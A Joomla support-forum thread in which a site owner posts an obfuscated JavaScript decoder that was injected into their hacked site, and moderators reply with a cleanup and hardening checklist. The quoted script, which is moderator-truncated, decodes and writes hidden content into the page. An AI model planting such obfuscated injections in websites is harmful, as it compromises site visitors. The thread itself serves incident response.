how do i remove this script from joomla

Discussion regarding Joomla! 1.5 security issues.
Joomla! Vulnerable Extensions: http://feeds.joomla.org/JoomlaSecurityV ... Extensions

Moderator: General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.
Locked
alinaam
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Wed Feb 09, 2011 9:15 pm

how do i remove this script from joomla

Post by alinaam » Wed Feb 23, 2011 10:59 am

how do i remove this script from joomla my wesite is alinaam .co .za

:

Code: Select all

<script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,44,5,8,53,0,37,23,33,51,0,0,0,0,0,0,38,20,28,11,4,18,9,35,39,40,2,31,41,26,47,60,6,49,55,36,56,24,27,46,48,43,42,0,0,0,0,58,0,54,17,22,10,14,21,16,12,13,15,30,19,32,1,7,61,3,45,62,34,52,57,25,29,50,59);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("wyOX7lhy57IuhoBuiGv8AkU8iqh9JRBuUk36ocI47Vh@o<snip>Utv8V@LthjO4DGhXVk3")</script>
Last edited by mandville on Wed Feb 23, 2011 2:54 pm, edited 1 time in total.
Reason: broke link to prevent poss infection - editeed code

User avatar
toivo
Joomla! Master
Joomla! Master
Posts: 17443
Joined: Thu Feb 15, 2007 5:48 am
Location: Sydney, Australia

Re: how do i remove this script from joomla

Post by toivo » Wed Feb 23, 2011 12:19 pm

Your site must have been hacked. Go to the Security forum at http://forum.joomla.org/viewforum.php?f=432, read the announcements to find out what you can do to replace the infected files in your site and how to improve security in general. It is likely that you will need to replace all files and also change the passwords.
Toivo Talikka, Global Moderator

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 15152
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: how do i remove this script from joomla

Post by mandville » Wed Feb 23, 2011 3:15 pm

[ ] Run the forum post assistant and security tool Instructions available here

[ ] Ensure you have the latest version of Joomla. Delete all files in your Joomla installation. Replace the deleted files with fresh copies of a current full version of Joomla, and fresh copies of extensions and templates used. Only by replacing all files in the installation (including extensions and templates) can you be sure to remove the backdoors inserted and hidden in files and directories

[ ] Review Vulnerable Extensions List

[ ] Review and action Security Checklist checklist 7 to make sure you've gone through all of the steps.

[ ] Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

[ ] Change all passwords and if possible user names for the website host control panel and your Joomla site.

[ ] Use proper permissions on files and directories. They should never be 777, but ideal is 644 and 755

[ ] Check your htaccess for for any odd code (i.e. code which is not in the standard htaccess supplied as part of the Joomla installation).

[ ] Check the crontab or Task Scheduler for unexpected jobs/tasks.
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}


Locked

Return to “Security in Joomla! 1.5”